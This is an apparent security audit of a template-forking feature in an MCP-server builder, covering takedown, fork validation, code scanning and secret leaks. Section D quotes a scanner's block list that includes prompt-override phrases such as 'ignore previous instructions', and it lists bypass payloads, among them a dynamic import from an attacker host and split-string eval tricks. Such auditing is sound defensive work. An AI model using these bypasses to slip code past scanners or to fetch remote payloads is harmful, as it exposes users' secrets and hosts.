buildmymcpserver/TEMPLATE_SECURITY_AUDIT.md

Template Integration — Sovereign Audit

Date: 2026-05-19 · Scope: apps/api/src/routes/templates.ts, the create-server template path in servers.ts, generator worker cache path, all /templates/* UI.

Threat model

Actors: publisher (creates a template, may be malicious), forker (consumes a template, may be a victim), admin (full control), external attacker (no account), compromised session (attacker holding a victim's cookie).

Assets: forker's uploaded secrets, forker's container compute, every other tenant's container, Postgres + Redis state, host Docker daemon, the ANTHROPIC_API_KEY.

---

P0 — CRITICAL (fix immediately)

A. Takedown does not stop the malicious container

PATCH /v1/admin/templates/:id with status=takedown updates mcp_servers.status to paused but never stops the Docker container. The container keeps serving traffic on its allocated port. Forkers' AI clients keep calling the malicious endpoint. Admin gets the false impression that the threat is neutralized.

// current code:
await db.update(mcpServers).set({ status: 'paused', ... })
// missing: await stopContainer(server.containerId) for every affected server

Severity: Critical. The entire safety story of "takedown protects users" is hollow. Will fix below.

B. Fork accepts specEdit — silent edits that don't take effect

The wizard intentionally suppresses specEdit when forking (only sends templateId), but a hand-crafted API request POST /v1/servers with { templateId, previewId, specEdit } would:

1. Enter the specEdit branch → merge edits into the cached spec
2. The cached spec then mismatches the pre-built code (which is also in the cache, untouched)
3. Worker uses pre-built code, ignoring the merged spec entirely

Result: the user thinks they renamed a tool / changed a schema; the deployed container behaves as the original template. Not a privilege-escalation, but a trust-of-UI violation. A clever attacker could exploit it to publish a server under a misleading edited spec ("my fork is harmless because I changed X") when in fact the original impl runs.

Severity: High. Will fix below.

C. templateId on POST /v1/servers is user-controlled and unvalidated

Body field templateId is accepted with only Zod-uuid() validation. No check that:

• The id points to an actual template
• The template is publicly forkable
• The user actually went through POST /v1/templates/:slug/fork

A user can therefore inflate any template's forkCount indefinitely by sending fake creates with that templateId. Also: server's templateId column gets garbage data, breaking attribution and the takedown cascade (paused servers wouldn't be caught because templateId doesn't match any real template).

Severity: High (data integrity + fork-count manipulation). Will fix below.

---

P1 — HIGH

D. Banned-pattern scan is regex-leaky

Current patterns:

/\beval\s*\(/,         // eval(
/\bnew\s+Function\s*\(/, // new Function(  — but Function(...) without `new` slips through
/\bchild_process\b/,
/ignore previous instructions/i,
/disregard ...above/i,

Trivial bypasses:

• globalThis['ev' + 'al']('payload') — no eval( literal
• Function('return 1')() — no new keyword, regex misses
• import('https://attacker.com/payload.js') — dynamic import isn't restricted
• setTimeout('payload', 0) — string-arg setTimeout evaluates code
• require('child' + '_process') — concat splits the literal
• Buffer.from(b64, 'base64').toString() then evaluate — multi-step decode

The static scan must be treated as a tripwire, not a security boundary. The real defense is the Docker sandbox. Severity: Medium (defense-in-depth gap).

Will fix below: add Function\s*\(, \bimport\s*\(, common credential patterns, setTimeout/setInterval with string args.

E. Stored generated code may contain a published-by-mistake secret

If a publisher prompts Claude with their API key inlined (e.g., "use my key sk-ant-api03-…"), Claude may include it verbatim in the generated code. That code is stored in templates.generatedCode and rendered publicly on the detail page.

Severity: Medium. Mitigation: scan for high-entropy strings + known secret prefixes at publish time. Will fix below.

F. allowedDomains is collected but never enforced

The publish form accepts a list of allowed egress domains. We persist it. The generator does not wire it into the container's network config. The field suggests protection that does not exist — worse than no field at all.

Severity: Medium (false confidence). Will document + warn in UI.

---

P2 — MEDIUM

G. Slug regex looseness

fork and detail endpoints accept slug min(1).max(64) with no regex. Slugs are used only for DB lookup (parameterized) and Redis (key-prefixed), so no immediate exploit, but defensive hardening warranted. Will fix.

H. Race: fork in flight during takedown

Window: ~milliseconds between fork POST and Redis cache write. If admin takes down between the public-status check and cacheSpec/cachePrebuiltCode, the cached entries leak the original code for 5min. Forker can still create from that cache. Worst case: 1 extra fork before TTL evicts.

Severity: Low. Acceptable for v1. Note in audit log.

I. N+1 query in /v1/templates list

For each template we do a separate COUNT for active deployments. Doesn't scale. Performance, not security. Skip for v1.

J. No rate limiting on fork

A logged-in user can drive port-exhaustion (4100–4999 = 900 slots) by forking repeatedly. Severity: Low (single-tenant dev). Production: add rate limit.

---

What's actually safe

• Cross-org template fork always lands in the forker's own org (we use req.user!.orgId for the new server). Forker can't write to another org.
• Slug uniqueness is enforced at DB level + retried with random suffix.
• SQL injection blocked by Drizzle parameterized queries.
• XSS blocked by React's auto-escape; no dangerouslySetInnerHTML anywhere.
• Pre-built code path correctly skips the render step — no Claude re-call leak.
• Banned-pattern scan runs at publish AND at fork-with-specEdit.
• Audit-log writes for every admin action (verify, hide, takedown).

---

Fixes applied in this commit

1. A — takedown stops containers (stopContainer is now called for every affected server's containerId)
2. B — fork rejects specEdit with 422 (with clear error message)
3. C — templateId validated against an existing public template, and the previewId must have been issued for that template (linked via a Redis key fork-ref:<previewId> → templateId set during fork)
4. D — additional banned patterns: Function\s*\(, \bimport\s*\(, setTimeout|setInterval\s*\(\s*['"\]` (string-eval form), common secret prefixes
5. E — secret scan at publish: regex for sk-ant-…, sk-live-…, AKIA…, ghp_…, xoxb-…, AWS access keys
6. G — slug regex tightened on fork and detail endpoints
7. F — UI warning + CHOICES.md note: allowedDomains is collected but enforcement is Sprint 4

Deferred (logged for tracking)

• F (enforcement) — Docker network-namespace + iptables egress rules per container. Sprint 4.
• I — single-query joins / cached aggregates for marketplace listing
• J — per-user fork rate limit (Redis token bucket)